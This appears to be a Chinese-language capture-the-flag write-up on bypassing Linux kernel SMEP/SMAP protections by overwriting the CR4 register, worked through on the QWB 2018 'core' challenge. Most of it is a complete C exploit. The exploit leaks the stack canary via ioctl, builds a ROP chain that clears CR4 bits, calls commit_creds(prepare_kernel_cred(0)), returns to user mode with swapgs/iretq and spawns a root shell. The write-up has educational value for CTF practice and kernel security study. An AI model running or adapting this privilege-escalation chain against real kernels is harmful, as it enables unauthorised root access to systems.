Kernel Bypass smep smap

k

image-20230816220503539

把cr4 20,21位指令即可,一般置为0x6f0,cr4可以直接用mov操作

mov cr4,0x6f0

vmlinux里找些操作cr4的gadget利用

强网杯 2018 - core

开启下semp,smap保护

qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-cpu qemu64-v1,+smep,+smap \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic
/ $ grep smep /proc/cpuinfo
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov patp
/ $ grep smap /proc/cpuinfo
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov patp
#include <assert.h>
#include <fcntl.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
/*>>> from pwn import *
>>> vmlinux = ELF("./vmlinux")
[*] '/home/grxer/kernel-env/QWB2018-core/give_to_player/vmlinux'
Arch: amd64-64-little
Version: 4.15.8
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['init_cred'])
'0xFFFFFFFF8223D1A0'*/
size_t init_cred = 0;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t vmlinux_base = 0, bias;
size_t raw_base = 0xffffffff81000000;
size_t find_symbols() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[*]open kallsyms error!");
exit(0);
}
char buf[0x30] = {0};
while (fgets(buf, 0x30, kallsyms_fd)) {
if (commit_creds & prepare_kernel_cred)
break;
if (strstr(buf, "commit_creds") && !commit_creds) {
/* puts(buf); */
char hex[20] = {0};
strncpy(hex, buf, 16);
/* printf("hex: %s\n", hex); */
sscanf(hex, "%zx", &commit_creds);
printf("commit_creds addr: %p\n", commit_creds);
vmlinux_base = commit_creds - 0x9c8e0;
printf("vmlinux_base addr: %p\n", vmlinux_base);
}

if (strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) {
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%zx", &prepare_kernel_cred);
printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
assert(vmlinux_base == (prepare_kernel_cred - 0x9cce0));
}
}
bias = vmlinux_base - raw_base;
if (!(prepare_kernel_cred & commit_creds)) {
puts("[*]Error!");
exit(0);
}
return 0;
}
void spawn_shell() {
if (!getuid()) {
system("/bin/sh");
} else {
puts("[*]spawn shell error!");
}
exit(0);
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status() {
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;");
puts("[*]status has been saved.");
}
void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}
int main() {
int fd = open("/proc/core", 2);
if (fd < 0) {
puts("[*]open /proc/core error!");
exit(0);
}
find_symbols();
init_cred = 0xFFFFFFFF8223D1A0 + bias;
ioctl(fd, 0x6677889C, 0x40);
size_t canary[0x40] = {0};
ioctl(fd, 0x6677889B, canary);
printf("[+]canary: %p\n", canary[0]);
size_t rop[0x1000] = {0};
int i;
for (i = 0; i < 10; i++) {
rop[i] = canary[0];
}
save_status();
/*
0xffffffff81000b2f: pop rdi; ret;
0xffffffff81075014: mov cr4, rdi; push rdx; popfq; ret;
0xffffffff81a012da: swapgs; popfq; ret;
0xffffffff81050ac2: iretq; ret;
*/
rop[i++] = 0xffffffff81000b2f + bias;//pop rdi; ret;
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81075014 + bias;//mov cr4, rdi; push rdx; popfq; ret;
rop[i++] = (size_t)getRootPrivilige;
rop[i++] = 0xffffffff81a012da + bias; // swapgs; popfq; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + bias; // iretq; ret;
rop[i++] = (size_t)spawn_shell; // rip
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, 0x800);
ioctl(fd, 0x6677889A, 0xffffffffffff0000 | (0x100));
return 0;
}

image-20230816215642698